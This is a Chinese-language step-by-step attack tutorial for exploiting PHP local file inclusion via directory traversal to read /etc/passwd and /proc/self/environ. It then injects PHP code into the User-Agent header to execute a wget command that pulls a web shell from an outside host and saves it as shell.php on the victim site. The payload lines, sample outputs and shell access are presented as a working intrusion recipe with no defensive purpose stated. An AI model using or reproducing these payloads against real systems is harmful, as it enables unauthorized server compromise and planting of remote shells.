第一步:寻找本地包含漏洞

首先找到一个可能存在本地包含的文件,去check它
比如:     www.website.com/view.php?page=contact.php
替换成   www.website.com/view.php?page=../ 
我们得到一个错误
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
翻译下以上的错误信息如下:
警告:包括(../) [function.include]:未能打开流:没有那个文件或目录在/ home / sirgod / public_html / website.com /view.php

说明机会很大,只是不存在文件而已

那么我们就针对服务器存在的文件做检查,比如linux里的/etc/passwd
提交url:www.website.com/view.php?page=../../etc/passwd 
依旧是:
Warning: include(../) [function.include]: failed to open stream: No such file or directory in /home/sirgod/public_html/website.com/view.php on line 1337
所以我们一层层的加上../测试,直到显示为止
www.website.com/view.php?page=../../../../../etc/passwd 
这个时候我们成功的包含了/etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin news:x:9:13:news:/etc/news: uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin test:x:13:30:test:/var/test:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin

第二步:检查proc/self/environ是否可用访问


提交url:www.website.com/view.php?page=../../../../../proc/self/environ

如果看到类似如下信息:

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, p_w_picpath/png, p_w_picpath/jpeg, p_w_picpath/gif, p_w_picpath/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=
Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at www.website.com Port 80
说明是可以访问的,如果返回时个空白页,说明是无法访问的,也可能操作系统是FreeBSD

第三步: 注入恶意代码

我们怎么才能把我们的恶意代码注入到proc/self/environ呐?
我们可以注入我们的代码在用户代理HTTP头。 
使用篡改数据用于Firefox的插件改变Firefox的User-Agent.Start篡改数据和请求URL: 
     
      www.website.com/view.php?page=../../../../../proc/self/environ 
      
     选择User-Agent 写代码如下: 
     
    <?system('wget http://hack-bay.com/Shells/gny.txt -O shell.php');?>
         
    然后提交请求。 
     
     我们的命令将被执行(将下载http://hack-bay.com/Shells/gny.txt,并将其保存为它在shell.php 
网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.

第四步:访问我们的shell

只在存在包含文件的目录下访问你注入进去的shell即可

www.website.com/shell.php

现在我们的shell是成功的注入进去了

看到这里想不想知道咋回事那?其原理是利用/proc/self/environ目录遍历及远程执行代码的漏洞,哈哈!!提示下google搜索"Directory Traversal & Remote Code Execution Using /proc/self/environ"吧